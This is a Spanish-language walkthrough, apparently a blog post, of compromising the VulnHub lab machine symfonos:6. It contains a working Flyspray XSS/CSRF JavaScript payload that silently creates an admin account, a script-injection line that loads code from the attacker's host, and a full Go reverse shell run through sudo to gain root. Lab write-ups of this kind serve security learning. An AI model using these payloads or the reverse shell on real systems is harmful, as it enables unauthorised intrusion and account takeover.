symfonos6: flyspray, gitea, go
https://www.vulnhub.com/entry/symfonos-61,458/
Difficulty: intermediate-hard
1- en 80 buscamos y tenemos flyspray. Creamos un usuario test y aplicamos exploit
https://www.exploit-db.com/exploits/41918
https://www.youtube.com/watch?v=eCf9a0QpnPs
creamos script js
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
y en realname del usuario test creado en flyspray ponemos el xss
"><script src=máquina atacante/script.js></script>
salimos y entramos como el usuario test creado y ponemos algún comentario en alguna tarea. Con eso se crea el usuario hacker
entramos como hacker que es admin, y en una de las tareas nos da el login git de achilles
2- vamos al gitea en 3000 y entramos como achilles. Hacemos exploit git hook post y accedemos shell git a la máquina
3- su achilles, la contraseña es la misma
4- tenemos sudo go, hacemos un shell reverse en go y root
package main
import (
"net"
"os/exec"
"time"
)
var (
lhost string
lport string
)
func prepareCmd() (*exec.Cmd) {
cmd := exec.Command("/bin/sh")
return cmd
}
func main(){
var target string = "192.168.2.84:8888"
var cmd *exec.Cmd
var err error
var conn net.Conn = nil
var attempt int = 0
for conn == nil && attempt < 3 {
conn, err = net.Dial("tcp", target)
if err != nil {
time.Sleep(20 * time.Second)
conn = nil
} else {
cmd = prepareCmd()
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}
attempt += 1
}
}
sudo /usr/local/go/bin/go run shell.go
cat proof.txt
Congrats on rooting symfonos:6!
,_---~~~~~----._
_,,_,*^____ _____``*g*\"*,
/ __/ /' ^. / \ ^@q f
[ @f | @)) | | @)) l 0 _/
\`/ \~____ / __ \_____/ \
| _l__l_ I
} [______] I
] | | | |
] ~ ~ |
| |
| |
Contact me via Twitter @zayotic to give feedback!
[root@symfonos6 ~]#
Comentarios
Publicar un comentario